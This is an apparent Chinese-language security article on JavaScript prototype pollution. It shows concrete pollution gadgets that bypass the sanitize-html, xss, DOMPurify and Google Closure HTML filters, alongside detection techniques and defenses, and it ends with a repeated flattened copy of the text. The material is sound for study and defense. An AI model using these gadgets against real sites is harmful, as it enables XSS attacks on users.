原型污染-并绕过客户端HTML过滤器
字数 1080 2025-08-18 17:33:23

原型污染攻击与客户端HTML过滤器绕过技术分析

1. 原型污染基础

1.1 JavaScript原型继承机制

JavaScript采用基于原型的继承模型,与传统的基于类的继承不同:

  • 每个对象都有一个原型(__proto__或通过Object.getPrototypeOf获取)
  • 访问对象属性时,JS引擎会沿着原型链向上查找
  • Object.prototype是所有对象的最终原型(除非显式设置为null
const obj = { prop1: 111, prop2: 222 };
obj.toString(); // 来自Object.prototype的默认方法

1.2 原型污染原理

通过修改Object.prototype,可以影响所有JavaScript对象的行为:

Object.prototype.admin = true;
const user = { userid: 123 };
if (user.admin) {
    console.log('You are an admin'); // 会被执行
}

1.3 原型污染的产生条件

通常由不安全的对象合并操作引起:

function recursiveMerge(obj1, obj2) {
    for (let key in obj2) {
        if (key in obj1) {
            recursiveMerge(obj1[key], obj2[key]);
        } else {
            obj1[key] = obj2[key];
        }
    }
}

// 攻击示例
const obj1 = {};
const obj2 = JSON.parse('{"__proto__":{"x":1}}');
recursiveMerge(obj1, obj2); // 污染Object.prototype

关键点

  • JSON.parse__proto__视为普通属性而非原型访问器
  • 许多流行库(如lodash、jQuery)曾存在此类漏洞

2. 原型污染与HTML过滤器绕过

2.1 HTML过滤器工作原理

HTML过滤器通过白名单机制净化HTML输入,防止XSS攻击:

<!-- 输入 -->
<h1>Header</h1>This is <b>some</b> <i>HTML</i><script>alert(1)</script>

<!-- 输出 -->
<h1>Header</h1>This is <b>some</b> HTML

2.2 白名单实现方式

2.2.1 数组方式(安全)

const ALLOWED_ELEMENTS = ["h1", "i", "b", "div"];
// 原型污染无法影响数组长度或已有索引

2.2.2 对象方式(易受攻击)

const ALLOWED_ELEMENTS = {
 "h1": true,
 "i": true,
 "b": true,
 "div": true
};
// 原型污染可添加新属性
Object.prototype.SCRIPT = true; // 绕过检查

3. 主流HTML过滤器分析

3.1 sanitize-html

默认配置

allowedTags: ['h3', 'h4', 'h5', 'h6', 'blockquote', 'p', 'a', 'ul', 'ol', 'nl', 'li', 'b', 'i', 'strong', 'em', 'strike', 'abbr', 'code', 'hr', 'br', 'div', 'table', 'thead', 'caption', 'tbody', 'tr', 'th', 'td', 'pre', 'iframe'],
allowedAttributes: {
  a: ['href', 'name', 'target'],
  img: ['src']
}

绕过方法

Object.prototype['*'] = ['onload'];
// 允许所有标签的onload属性

防御机制

  • 使用hasOwnProperty检查属性(但对通配符*无效)

3.2 xss库

绕过方法

Object.prototype.whiteList = {
  img: ['src', 'onerror']
};
// 允许img标签的onerror属性

3.3 DOMPurify

绕过方法1

Object.prototype.ALLOWED_ATTR = ['onerror', 'src'];

绕过方法2(更隐蔽):

Object.prototype.documentMode = 9; // 禁用过滤器

3.4 Google Closure库

绕过方法

Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
// 允许所有标签的onerror和src属性

4. 原型污染检测工具

4.1 静态分析工具

  1. 提取代码中所有可能的属性访问标识符
  2. 将这些属性添加到Object.prototype
  3. 监控属性访问是否到达原型链

4.2 动态检测方法

通过代码插桩转换属性访问:

// 原始代码
if (cfg.ADD_ATTR) { ... }

// 转换后代码
if ($_GET_PROP(cfg, 'ADD_ATTR')) { ... }

// 检测函数
function $_GET_PROP(obj, prop) {
    if (!(prop in obj)) {
        console.log(`Possible prototype pollution for ${prop}`);
        console.trace();
    }
    return obj[prop];
}

5. 防御措施

  1. 冻结原型

    Object.freeze(Object.prototype);
    
  2. 使用Object.create(null)创建无原型对象

    const safeObj = Object.create(null);
    
  3. 安全合并函数

    function safeMerge(target, source) {
      for (const key in source) {
        if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
          continue;
        }
        if (Object.prototype.hasOwnProperty.call(source, key)) {
          target[key] = source[key];
        }
      }
      return target;
    }
    
  4. 使用Map代替普通对象存储白名单

6. 实际攻击案例

  1. Google搜索栏XSS

    • 通过原型污染绕过内部HTML过滤器
    • 可在搜索结果中执行任意JavaScript
  2. Ghost CMS RCE

    • 通过原型污染导致远程代码执行
  3. Kibana RCE

    • 利用原型污染实现远程代码执行

7. 总结

原型污染是一种强大的攻击技术,可以:

  • 绕过客户端HTML过滤器
  • 修改应用程序逻辑
  • 导致XSS甚至RCE漏洞

关键防护原则

  • 永远不要信任用户提供的JSON输入
  • 使用安全的对象操作函数
  • 对关键配置对象使用无原型或冻结的对象
  • 定期审计依赖库的安全性
原型污染攻击与客户端HTML过滤器绕过技术分析 1. 原型污染基础 1.1 JavaScript原型继承机制 JavaScript采用基于原型的继承模型,与传统的基于类的继承不同: 每个对象都有一个原型( __proto__ 或通过 Object.getPrototypeOf 获取) 访问对象属性时,JS引擎会沿着原型链向上查找 Object.prototype 是所有对象的最终原型(除非显式设置为 null ) 1.2 原型污染原理 通过修改 Object.prototype ,可以影响所有JavaScript对象的行为: 1.3 原型污染的产生条件 通常由不安全的对象合并操作引起: 关键点 : JSON.parse 将 __proto__ 视为普通属性而非原型访问器 许多流行库(如lodash、jQuery)曾存在此类漏洞 2. 原型污染与HTML过滤器绕过 2.1 HTML过滤器工作原理 HTML过滤器通过白名单机制净化HTML输入,防止XSS攻击: 2.2 白名单实现方式 2.2.1 数组方式(安全) 2.2.2 对象方式(易受攻击) 3. 主流HTML过滤器分析 3.1 sanitize-html 默认配置 : 绕过方法 : 防御机制 : 使用 hasOwnProperty 检查属性(但对通配符 * 无效) 3.2 xss库 绕过方法 : 3.3 DOMPurify 绕过方法1 : 绕过方法2 (更隐蔽): 3.4 Google Closure库 绕过方法 : 4. 原型污染检测工具 4.1 静态分析工具 提取代码中所有可能的属性访问标识符 将这些属性添加到 Object.prototype 监控属性访问是否到达原型链 4.2 动态检测方法 通过代码插桩转换属性访问: 5. 防御措施 冻结原型 : 使用 Object.create(null) 创建无原型对象 : 安全合并函数 : 使用Map代替普通对象存储白名单 6. 实际攻击案例 Google搜索栏XSS : 通过原型污染绕过内部HTML过滤器 可在搜索结果中执行任意JavaScript Ghost CMS RCE : 通过原型污染导致远程代码执行 Kibana RCE : 利用原型污染实现远程代码执行 7. 总结 原型污染是一种强大的攻击技术,可以: 绕过客户端HTML过滤器 修改应用程序逻辑 导致XSS甚至RCE漏洞 关键防护原则 : 永远不要信任用户提供的JSON输入 使用安全的对象操作函数 对关键配置对象使用无原型或冻结的对象 定期审计依赖库的安全性